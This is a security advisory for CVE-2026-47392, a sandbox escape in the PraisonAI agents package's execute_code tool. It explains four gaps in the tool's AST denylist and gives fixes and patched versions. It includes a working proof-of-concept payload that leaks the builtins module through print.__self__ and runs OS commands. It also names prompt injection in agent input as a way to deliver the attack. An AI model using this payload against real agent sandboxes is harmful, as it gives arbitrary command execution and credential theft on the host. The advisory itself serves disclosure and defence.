Skip to content

GHSA-4mr5-g6f9-cfrh CVE-2026-47392 PYSEC-2026-463 PYSEC-2026-483

PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)

Critical PyPI
Severity
9.9 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.88%
Chance of exploitation in the next 30 days. Higher than 59.23% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
CWE-693 Protection Mechanism Failure
Fix
Available
2 packages have a fixed version

Description

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).


Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical


Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

  • Attribute calls: b.exec(...) — func is ast.Attribute
  • Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.


Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

Line AST node Check Result
print.__self__ Attribute(attr='__self__') __self__ in _blocked_attrs? NO → passes
b.vars Attribute(attr='vars') vars in _blocked_attrs? NO → passes
b.vars(b) Call(func=Attribute) isinstance(func, ast.Name)? NO → passes
"_", "import" Constant(value=str) Contains blocked attr? NO → passes
d[key] Subscript Not checked passes
imp("os") Call(func=Name('imp')) imp in blocked calls? NO → passes

Result: Full sandbox escape → arbitrary command execution


Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

  • Execute arbitrary commands on the host system
  • Read/write any file accessible to the process
  • Exfiltrate environment variables, API keys, and credentials
  • Pivot to internal networks
  • Install persistent backdoors

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: All versions through 1.6.37 (latest)
  • Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
  • Default configuration affected: Yes (sandbox_mode="sandbox" is the default)

Remediation

Immediate fix

Add __self__ to _blocked_attrs:

_blocked_attrs = frozenset({
    ...,
    '__self__',  # Built-in functions leak their parent module
})

Additional hardening

  1. Block vars in the callable blocklist
  2. Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
  3. Add AST check for BinOp string concatenation that could construct blocked attr names

Fundamental recommendation

Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:

  • Using isolated-vm (Node.js) or WebAssembly-based isolation
  • Using OS-level sandboxing (seccomp, namespaces, gVisor)
  • Removing in-process code execution entirely in favor of containerized execution

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.6.40
4.6.40
praisonaiagents
< 1.6.40
1.6.40

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.40

pip
pip install --upgrade "praisonai>=4.6.40"
poetry
poetry add "praisonai>=4.6.40"
uv
uv add "praisonai>=4.6.40"

praisonaiagents PyPI → 1.6.40

pip
pip install --upgrade "praisonaiagents>=1.6.40"
poetry
poetry add "praisonaiagents>=1.6.40"
uv
uv add "praisonaiagents>=1.6.40"

Severity breakdown

CVSS 3.1 9.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
High Also affects praisonaiagents
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor